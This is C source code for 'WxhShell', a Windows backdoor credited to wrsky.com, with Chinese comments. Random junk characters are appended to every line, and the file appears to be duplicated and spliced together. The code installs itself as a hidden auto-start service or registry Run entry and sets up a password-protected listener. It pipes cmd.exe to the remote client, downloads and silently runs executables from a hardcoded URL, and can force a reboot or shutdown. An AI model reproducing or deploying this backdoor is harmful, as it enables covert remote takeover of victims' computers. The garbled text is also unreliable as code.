    if(Boot(SHUTDOWN)) z5i!GJB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5w1=j\oq  
    else { Ri-I+7(n!  
    closesocket(wsh); o0<T|zgF5,  
    ExitThread(0); +"SBt}1  
    } Az.Y-O<$\  
    break; 2cmqtlW"  
    } l"cO@.T3  
  // 获取shell \dfq& oyU\  
  case 's': { =a {Z7W  
    CmdShell(wsh); }`h}h<B(  
    closesocket(wsh); gB0)ec 0  
    ExitThread(0); :#gz)r  
    break; :s$9#}hw,  
  } d-?~O~qD|!  
  // 退出 }U #S*  
  case 'x': { Y&j6;2-Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |RpC0I  
    CloseIt(wsh); J%[K;WjrZJ  
    break; WUHx0I  
    } DvhK0L*Qr  
  // 离开 n&Al~-Q:^  
  case 'q': { kKjYMYT6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Ys|M%N  
    closesocket(wsh); f5yd2wKy6  
    WSACleanup(); FF/MTd}6qG  
    exit(1); 6?Ks H;L9  
    break; {2q   
        } F.\]Hqq  
  } `b] NB^/  
  } oF*Y$OEu?c  
fqr}tvMr=T  
  // 提示信息 cw^FOV*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0<s)xaN>Y  
} [t6)M~&e:_  
  } wo_FM `@  
:}GxJT4  
  return; f9&D1Gh+w  
} ^Krkf4fO  
pa\]@;P1  
// shell模块句柄 pr m  
int CmdShell(SOCKET sock) ^L'K?o  
{ - jyD!(  
STARTUPINFO si; Nh+$'6yT%  
ZeroMemory(&si,sizeof(si)); b ;}MA7=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t7~mW$}O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nY*ODL  
PROCESS_INFORMATION ProcessInfo; m?m,w$K  
char cmdline[]="cmd"; qQom=x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @TH \hr]  
  return 0; M)LdGN?$  
} BHK_=2WYz  
vAVoFL  
// 自身启动模式 GN>T }  
int StartFromService(void) +V'Z%;/  
{ WK=!<FsC$  
typedef struct 1/{:}9Z@  
{ 2HTZ, W  
  DWORD ExitStatus; I@z{G r  
  DWORD PebBaseAddress; -~aVt~{k/  
  DWORD AffinityMask; i 9b^\&&  
  DWORD BasePriority; ]ny(l#Hu:  
  ULONG UniqueProcessId; nnE@1X3  
  ULONG InheritedFromUniqueProcessId; W!Xgse3  
}   PROCESS_BASIC_INFORMATION; |4'E&(BU-  
6#K_Rg>.  
PROCNTQSIP NtQueryInformationProcess; f{)*"  
ML'R[~|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6-JnT_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iFHVr'Og'  
$:xUXEi{  
  HANDLE             hProcess; e@q[Dv'mu  
  PROCESS_BASIC_INFORMATION pbi; i$F)h<OU+  
$6J5yE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '2 )d9_ w  
  if(NULL == hInst ) return 0; c^=:]^  
1XZ&X]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -p)HH@6a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NT-du$! u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pG4Hy$e  
! [:K/  
  if (!NtQueryInformationProcess) return 0; =X1$K_cN  
pkT a^I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i@p?.%K{  
  if(!hProcess) return 0; hyBSS,I  
;w+A38N$J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;WzT"yW)T  
j`#|z9`(pB  
  CloseHandle(hProcess); H ,?MG  
: i(h[0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z;3}GxE-si  
if(hProcess==NULL) return 0; xA-G&oC]<T  
{:rU5 !n  
HMODULE hMod; ())|x[>JS+  
char procName[255]; $b8>SSz  
unsigned long cbNeeded; VJNPs6  
L,l+1`Jz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }W YY5L8^  
X%gJ, c(4  
  CloseHandle(hProcess); _I -0[w  
H`".L^  
if(strstr(procName,"services")) return 1; // 以服务启动 2.x3^/  
:l 7\7IT  
  return 0; // 注册表启动 `  ^6}Dn  
} p]>bN  
d82IEhZ#  
// 主模块 nyDqR#t  
int StartWxhshell(LPSTR lpCmdLine) ~{N|("nB  
{ YGNX+6Lz  
  SOCKET wsl; zxj!ihs<  
BOOL val=TRUE; &,#VhT![  
  int port=0; P "%/  
  struct sockaddr_in door; [oYe/<3  
\myj Y  
  if(wscfg.ws_autoins) Install(); N-NwGD{  
)HU?7n.{  
port=atoi(lpCmdLine); ~\Ynih  
F-ZD6l9O  
if(port<=0) port=wscfg.ws_port; O ,DX%wk,  
mtF&Z\ag  
  WSADATA data; z1"UF4x*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8C YJR/  
4o|~KX8Qz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $4L=Dg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q;Oc# u  
  door.sin_family = AF_INET; 8ZahpB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {1qEN_ERx  
  door.sin_port = htons(port); YV2^eGr.  
H)4Rs~;{'g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L72GF5+!!  
closesocket(wsl); kQ:2@SOm  
return 1; }??q{B@v  
} ~L1N1Z)Kk  
p@^2 .O+  
  if(listen(wsl,2) == INVALID_SOCKET) { Y /w vn8~C  
closesocket(wsl); jRBx7|ON  
return 1; (* 2"dd  
} x~(Ul\EX  
  Wxhshell(wsl); 8m 9G^s`[  
  WSACleanup(); IMrB!bo r  
'fgDe  
return 0; ]f-e/8$`@  
} K Ou  
} WTd}) s  
`|v#x@s  
// 以NT服务方式启动 &"CS1P|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ck^Z,AKL+  
{ 6Z'zB&hM}  
DWORD   status = 0; p;'vOb  
  DWORD   specificError = 0xfffffff; nU`;MW/^w  
5G2u(hx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q`{.2yV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UjfB+=7I{L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sS0psw1  
  serviceStatus.dwWin32ExitCode     = 0; X`vDhfh>N  
  serviceStatus.dwServiceSpecificExitCode = 0; )45,~+XX  
  serviceStatus.dwCheckPoint       = 0; EZ=M^0=Hpf  
  serviceStatus.dwWaitHint       = 0; WAQv4&xGM  
BujWql  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lmd0Q(I  
  if (hServiceStatusHandle==0) return;  d,H%  
1n5&PNu  
status = GetLastError(); 4@VX%5uy  
  if (status!=NO_ERROR) kz??""G7/  
{ bb<Vh2b>R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T<ua0;7  
    serviceStatus.dwCheckPoint       = 0; 5<S1,u5  
    serviceStatus.dwWaitHint       = 0; 6jnRC*!?  
    serviceStatus.dwWin32ExitCode     = status; -~xd-9v?  
    serviceStatus.dwServiceSpecificExitCode = specificError; dNyc|P`U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !cq4+0{O;&  
    return; Sj*H4ZHD<&  
  } <^&'r5H  
sO*6F`eiZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TX 87\W.  
  serviceStatus.dwCheckPoint       = 0; Wqqo8Y~fq  
  serviceStatus.dwWaitHint       = 0; %W c-.E R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EXzY4D ^  
} j^k{~]+_^]  
WH/a#F  
// 处理NT服务事件,比如:启动、停止 Ylf6-FbF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6z(_^CY  
{ \jfW$TtZm  
switch(fdwControl) 6?Wsg`9  
{ j9,X.?Xvx  
case SERVICE_CONTROL_STOP: |)lo<}{  
  serviceStatus.dwWin32ExitCode = 0; Tu"yoF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m760K*:i\  
  serviceStatus.dwCheckPoint   = 0; T&h|sa(   
  serviceStatus.dwWaitHint     = 0; ' ZB%McS  
  { f]hW>-B(q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Hs frc  
  } .!`j3W]  
  return; ,rN7X<s54  
case SERVICE_CONTROL_PAUSE: >s>5k O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S !e0 :  
  break; ql zL<  
case SERVICE_CONTROL_CONTINUE: K[9<a>D`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  {<i!Pm  
  break; z4<h)hh"k6  
case SERVICE_CONTROL_INTERROGATE: A76=^ iw  
  break; R:fu n ,  
}; )Qo6bei!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QR#,n@fE  
} (kSk bwu  
EUNG&U  
// 标准应用程序主函数 9f V57  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yWs/~5[F  
{ }`eeItI+  
1|`9Hp6  
// 获取操作系统版本 57#:GN$EL  
OsIsNt=GetOsVer(); X$xqu\t7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "47nc1T+n  
8=?I/9Xh  
  // 从命令行安装 -8TLnl~[  
  if(strpbrk(lpCmdLine,"iI")) Install(); Di L@NU!$q  
@tP,l$O&  
  // 下载执行文件 }{ P}P}  
if(wscfg.ws_downexe) { Rw7Q[I5z%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w?R6$n`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4f1*?HX&  
} !nd*U}q  
RS93_F8   
if(!OsIsNt) { "'8$hV65.p  
// 如果时win9x,隐藏进程并且设置为注册表启动 vbWX`skU  
HideProc(); ;^xku%u  
StartWxhshell(lpCmdLine); =EG[_i{r  
} CR _A{(  
else \t(/I=E8/  
  if(StartFromService()) xE}q(.]  
  // 以服务方式启动 rVO+ vhih  
  StartServiceCtrlDispatcher(DispatchTable); ClEtw   
else Io:xG6yG  
  // 普通方式启动 N@) D,~  
  StartWxhshell(lpCmdLine); ei"FN3Rm  
R"tLu/Sn  
return 0; F!Uk`[L  
} * 5j iC  
[[)HPHSQ  
|5W u0T  
5zU D W?  
=========================================== ;\H2U .  
-W oZwqh  
E0*81PS  
*AJW8tIP  
a]Lr<i8#%  
uXp0D$a  
" J4JKAv~3  
L-Hl.UV  
#include <stdio.h> :JOF!Q  
#include <string.h> \:Nbl<9(9  
#include <windows.h> x;C\G`9N  
#include <winsock2.h> NQOdgp  
#include <winsvc.h> !]"T`^5,Y  
#include <urlmon.h> VJPt/Dy{  
*f,EDSN1@d  
#pragma comment (lib, "Ws2_32.lib") O/FQ'o1F  
#pragma comment (lib, "urlmon.lib") EJRwyF5 LK  
FkRrW^?5G  
#define MAX_USER   100 // 最大客户端连接数 _kar5B$  
#define BUF_SOCK   200 // sock buffer e}Db-7B_~  
#define KEY_BUFF   255 // 输入 buffer :*\JJ w  
H_jMl$f)j  
#define REBOOT     0   // 重启 :lcoSJ  
#define SHUTDOWN   1   // 关机 `?La  
U/TF,JUI  
#define DEF_PORT   5000 // 监听端口 `M|fwlAJQ  
R@ihN?k  
#define REG_LEN     16   // 注册表键长度 z;Kyg}  
#define SVC_LEN     80   // NT服务名长度 n}YRE`>D  
zEa3a  
// 从dll定义API G"C'/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &6!x;RB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &'i>5Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bl(we/r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }2G'3msx  
4D0"Y #&G  
// wxhshell配置信息 B1\}'g8%f  
struct WSCFG { _O)~<Sk-*z  
  int ws_port;         // 监听端口 }]/"auk  
  char ws_passstr[REG_LEN]; // 口令 {wK98>$a  
  int ws_autoins;       // 安装标记, 1=yes 0=no }+,;wj~  
  char ws_regname[REG_LEN]; // 注册表键名 GsxrqIaD  
  char ws_svcname[REG_LEN]; // 服务名 >NK*$r8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *Z<`TB)<X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %[5hTf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 va| 1N/&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iz& )FuOr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /wKL"M-%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H71LJfH  
{}~7Gi!  
}; N<9C V!_  
+Y6=;*j$  
// default Wxhshell configuration e'p'{]r<w  
struct WSCFG wscfg={DEF_PORT, AYfW}V"  
    "xuhuanlingzhe", 3N[t2Y1r  
    1, Qv|A^%Ub!  
    "Wxhshell", 5v6*.e'p  
    "Wxhshell", 3Oy?_a$  
            "WxhShell Service", Nxp 7/Nn3  
    "Wrsky Windows CmdShell Service", EH=[!iW;  
    "Please Input Your Password: ", 0p)#!$  
  1, S&q@M  
  "http://www.wrsky.com/wxhshell.exe", ]-&A )M6  
  "Wxhshell.exe" ^cn%]X#.  
    }; "@#^/m)  
C%vR!Az  
// 消息定义模块 ]MKW5Kq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j KGfm9|zj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'S;INs2|->  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I<Wp,E9G#  
char *msg_ws_ext="\n\rExit."; 8KiG(6*Q  
char *msg_ws_end="\n\rQuit."; &@<Z7))  
char *msg_ws_boot="\n\rReboot..."; $SQ UN*/>  
char *msg_ws_poff="\n\rShutdown..."; *eK\W00  
char *msg_ws_down="\n\rSave to "; JZ3CCf  
K&3,J7&&  
char *msg_ws_err="\n\rErr!"; fh,kbn==r?  
char *msg_ws_ok="\n\rOK!";  d|;S4m`  
r$T\@oTL  
char ExeFile[MAX_PATH]; {<+B>6^  
int nUser = 0; Se{x-vn?p  
HANDLE handles[MAX_USER]; y(^t&tgjS  
int OsIsNt; KPHtD4  
_UI*W&*  
SERVICE_STATUS       serviceStatus; Xt} 4B#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {%Cb0Zh  
t/%{R.1MN  
// 函数声明 ]ie38tX$  
int Install(void); PDQEI55  
int Uninstall(void);  Z(F['Zf  
int DownloadFile(char *sURL, SOCKET wsh); Fj;];1nt  
int Boot(int flag); VW&EdrR,S  
void HideProc(void); Jui:Ms  
int GetOsVer(void); e<A6= }  
int Wxhshell(SOCKET wsl); ~?#>QN\\c  
void TalkWithClient(void *cs); B! +rO~  
int CmdShell(SOCKET sock); iq1HA.X(  
int StartFromService(void); fVJlA  
int StartWxhshell(LPSTR lpCmdLine); 03p D<  
 R.x^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `)y<X#[8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RISDjU3  
 m#K)%0  
// 数据结构和表定义 Y8v13"P6  
SERVICE_TABLE_ENTRY DispatchTable[] = = -bGH   
{  B_Ul&V  
{wscfg.ws_svcname, NTServiceMain}, amTeT o]Tg  
{NULL, NULL} P aD6||1F  
}; @6lw_E_5  
{{6D4M|s  
// 自我安装 Jn7T5$pJ  
int Install(void) I4XnJ[N%  
{ \1Xr4H u  
  char svExeFile[MAX_PATH]; z`}z7e'>  
  HKEY key; o%yfR.M6$  
  strcpy(svExeFile,ExeFile); _sqj~|K  
;NMv>1fI  
// 如果是win9x系统,修改注册表设为自启动 Bo,>blspw  
if(!OsIsNt) { D~ogq]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r1 axC%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m>{a<N  
  RegCloseKey(key); _lG|t6y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {=%,NwPs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]z#+3DaH  
  RegCloseKey(key); 8TBv~Q u  
  return 0; 9r. h^  
    } n!-]f.=P  
  } n!dXjInV  
} KS'n$  
else { a,|Hn  
de/oK c  
// 如果是NT以上系统,安装为系统服务 bey:Qj??  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z=9<esx  
if (schSCManager!=0) Qz"+M+~%&  
{ 1oc@]0n  
  SC_HANDLE schService = CreateService (_%l[:o6  
  ( )n6,uTlOw  
  schSCManager, =Vm3f^  
  wscfg.ws_svcname, a<0q%A x  
  wscfg.ws_svcdisp, g`z;:ao  
  SERVICE_ALL_ACCESS, sWmqx$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `?{6L#  
  SERVICE_AUTO_START, %[, R Q">v  
  SERVICE_ERROR_NORMAL, AGl#f\_^  
  svExeFile, U!{~L$S  
  NULL, /Y=_EOS  
  NULL, 0&u=(;Dr\  
  NULL, 9u)p9)^-.v  
  NULL, 97[wz C,  
  NULL <0VC`+p<)  
  ); -^)<FY\  
  if (schService!=0) w\mTug  
  { k8\ KCKql  
  CloseServiceHandle(schService); R$ !]z(  
  CloseServiceHandle(schSCManager); ]4ck)zlv   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W__Y^\ ~  
  strcat(svExeFile,wscfg.ws_svcname); Vm?#~}T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =0L%<@yA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >k ==7#P  
  RegCloseKey(key); &zd@cr1  
  return 0; ^*YoNd_kpN  
    } a"i(.(9$J  
  } \K9.]PfbI  
  CloseServiceHandle(schSCManager); S}fQis  
} mzCd@<T,  
} :_<&LO]Q  
<"K2t Tg.  
return 1; A;5_/ 2  
} pP#D*hiP-g  
_u""v   
// 自我卸载 h oO847  
int Uninstall(void) 2}7_Y6RS*  
{ P l!E$   
  HKEY key; w_V A:]j4  
E7i/gY  
if(!OsIsNt) { Yn$: |$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3-E-\5I  
  RegDeleteValue(key,wscfg.ws_regname); & kVa*O  
  RegCloseKey(key); [NJ2rQ/w7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !VaC=I^{  
  RegDeleteValue(key,wscfg.ws_regname); RX%)@e/@  
  RegCloseKey(key); </Y(4Xwf=  
  return 0; 3#x1(+c6  
  } R|^bZf^  
} N p*T[J  
} |Xm$O1Wa  
else { Nmd{C(^o  
x4PzP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $UdBZT-  
if (schSCManager!=0) .#Nf0  
{ ~ES%=if~Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cHVJ7yAZI  
  if (schService!=0) qdy(C^(fa  
  { pEz^z9  
  if(DeleteService(schService)!=0) { tBfmjxv  
  CloseServiceHandle(schService); ji>LBbnHdE  
  CloseServiceHandle(schSCManager); ,;5%&T  
  return 0; ,\X ! :y~  
  } 1=5HQ~|[TO  
  CloseServiceHandle(schService); qBcbMa9m  
  } hr&&b3W3p  
  CloseServiceHandle(schSCManager); h_ccE 6]t  
} 63%V_B|  
} TBrw ir  
/\<x8BJ  
return 1; d(XOZF  
} J_7@d]0R  
_68vSYr  
// 从指定url下载文件 ]P#W\LZp  
int DownloadFile(char *sURL, SOCKET wsh) MRXw)NAw  
{ p-_9I7?  
  HRESULT hr; i$p2am8f  
char seps[]= "/"; ]T|$nwQ  
char *token; , `Z4fz:  
char *file; $Zo|t a^  
char myURL[MAX_PATH]; /*>}y$  
char myFILE[MAX_PATH]; g 8uq6U  
9B;WjXSe  
strcpy(myURL,sURL); +jZa A/  
  token=strtok(myURL,seps); R4VX*qkB  
  while(token!=NULL) 'I+M*Iy  
  { _ q1\8y  
    file=token; 4)OOj14-V  
  token=strtok(NULL,seps); Q W,:'\G  
  } %XeN_ V  
{]8|\CcY?  
GetCurrentDirectory(MAX_PATH,myFILE); OI6Mx$  
strcat(myFILE, "\\"); eR>8V8@  
strcat(myFILE, file); 0&fO)de96  
  send(wsh,myFILE,strlen(myFILE),0); ?!jJxhK<h  
send(wsh,"...",3,0); 4H,c;g=!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CmbgEGIh[a  
  if(hr==S_OK) a%U#PF6   
return 0; OomC%9/=,  
else T(Q ~b  
return 1; s@"|o3BX  
jUNt4  
} F)X`CG ;t  
41d+z>a]  
// 系统电源模块 *S.FM.r  
int Boot(int flag) PKntz7  
{ M&hNkJK*G  
  HANDLE hToken; K-\wx5#l/  
  TOKEN_PRIVILEGES tkp; f42F@M(:  
1Dc6v57  
  if(OsIsNt) { ebJTrh<{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &PL=nI\)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^o _J0 ]m  
    tkp.PrivilegeCount = 1; i.W*Go+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KWjhkRK4]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k'|yUJ,  
if(flag==REBOOT) { )4qspy3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C{^I}p  
  return 0; s#aj5_G  
} X[tB^`  
else { HH7WMYoKY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :vEfJSA 1<  
  return 0; DMsqTB`  
} wGT>Xh!  
  } ^?(#%~NS  
  else { MK/8<i<.  
if(flag==REBOOT) { X\H P{$fY_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f1'X<VA  
  return 0; fgj$ u  
} # }}6JM  
else { .-T P 1C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6S n&; ap  
  return 0; tKe-Dk9  
} 9)S3{i6w  
} zb4@U=?w}  
+2eri_p  
return 1; 9Xa.%vw>  
} " 62g!e}!c  
|XG&[TI- "  
// win9x进程隐藏模块 11#b%dT  
void HideProc(void) Ut'T!RD  
{ ,:J[|9  
#&r}J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CP2wg .  
  if ( hKernel != NULL ) r_Ou\|jU  
  { o^(I+<el  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uK(]@H7~!c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n CX{tqy   
    FreeLibrary(hKernel); eXnSH$uI  
  } $,/E"G`  
N3\RXXY  
return; 2p;I<C:Eo  
} H? z~V-8  
2BF455e   
// 获取操作系统版本 O>nMeU  
int GetOsVer(void)  *BM#fe  
{ acke q#  
  OSVERSIONINFO winfo; P`Now7! GW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D4hT Hh  
  GetVersionEx(&winfo); U*yOe*>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QP50.P5g  
  return 1; dwUDhQt3Q  
  else +UX~'t_'v  
  return 0; <+ [N*  
} B?^~1Ua9Zv  
J;wBS w%1  
// 客户端句柄模块 Q=DMfJ"  
int Wxhshell(SOCKET wsl) l"`VvW[  
{ _e>N3fT  
  SOCKET wsh; @VIY=qh  
  struct sockaddr_in client; wY%t# [T3  
  DWORD myID; t@MUNW`Q  
0`WFuFi^o  
  while(nUser<MAX_USER) $n!5JS@40  
{ z>,tP  
  int nSize=sizeof(client); W(Sni[c{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wM7 Iu86  
  if(wsh==INVALID_SOCKET) return 1; XMZ$AeF@  
,66(*\xT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VR1]CN"G  
if(handles[nUser]==0) sk 8DW  
  closesocket(wsh); oO3 ^9?Z  
else svxjad@l/  
  nUser++; V*2 * 5hx  
  } {4/*2IRN9h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?#&[1.= u  
(vD==n9Hd  
  return 0; \P":V  
} `\"<%CCe  
*}#HBZe(9  
// 关闭 socket [!3cWJCt  
void CloseIt(SOCKET wsh) )jUPMIo  
{ [ypE[   
closesocket(wsh); gk?H@b*  
nUser--; 80g}<Lwc  
ExitThread(0); o(?9vU  
} 8mdVh\i!Kf  
Ue Z(@6_:  
// 客户端请求句柄 }dMX1e1h8  
void TalkWithClient(void *cs) V6c8o2G;+  
{ ) ] Ro  
h~qvd--p0  
  SOCKET wsh=(SOCKET)cs; (7! pc  
  char pwd[SVC_LEN]; toD!RE  
  char cmd[KEY_BUFF]; ;3& wO~lW  
char chr[1]; >}NnzZ  
int i,j; N+ ]O#Js?  
@Z#h?:  
  while (nUser < MAX_USER) { H$^9#{  
SD%3B!cpX  
if(wscfg.ws_passstr) { Fz<1xyc(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .9z}S=ZK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1~E4]Ef:W  
  //ZeroMemory(pwd,KEY_BUFF); @mg5vt!$`  
      i=0; 2g5 4<G*e  
  while(i<SVC_LEN) { V,c^Vq y  
'?.']U,: $  
  // 设置超时 5$> buYF  
  fd_set FdRead; S[y_Ew zq  
  struct timeval TimeOut; 0<4'pO.6Hq  
  FD_ZERO(&FdRead); xfX|AC  
  FD_SET(wsh,&FdRead); T1Z*>(M  
  TimeOut.tv_sec=8;  Glx{Zu=  
  TimeOut.tv_usec=0; A@d 2Ukv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W]bytsl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B+R|fQ  
Z]2z*XD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nB :iG  
  pwd=chr[0]; {hf_Xro&  
  if(chr[0]==0xd || chr[0]==0xa) { m*)jnd XY  
  pwd=0; QALr   
  break; @J6r;4|&  
  } z.)*/HGJm  
  i++; @Q nKaZ8jW  
    } }LX!dDuwA  
99'c\[fd'  
  // 如果是非法用户,关闭 socket [K4 k7$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .) %, R  
} ~^'t70 :D  
,+v(?5[6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x@O )QaBN!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lF46W  
[z7]@v6b  
while(1) { z,dF Dl$  
Z RwN#?x  
  ZeroMemory(cmd,KEY_BUFF); x+%> 2qgj"  
NaQ~iY?  
      // 自动支持客户端 telnet标准   OaoHN& "  
  j=0; *Ev8f11i&  
  while(j<KEY_BUFF) { $JBb] v8_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YB)I%5d;{  
  cmd[j]=chr[0]; M1 o@v0  
  if(chr[0]==0xa || chr[0]==0xd) { vF@|cTRR)  
  cmd[j]=0; 9Ou}8a?m"  
  break; Y Fj#{C.  
  } ;F%EW`7  
  j++; B2_fCSlg  
    } oL>o*/  
d%q&[<'jf  
  // 下载文件 n ^qwE  
  if(strstr(cmd,"http://")) { `)w=@9B)"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G'wW-|  
  if(DownloadFile(cmd,wsh)) AhjCRYk+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.8^ )u  
  else  =mcQe^M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4v5qK  
  } c;yp}k]\  
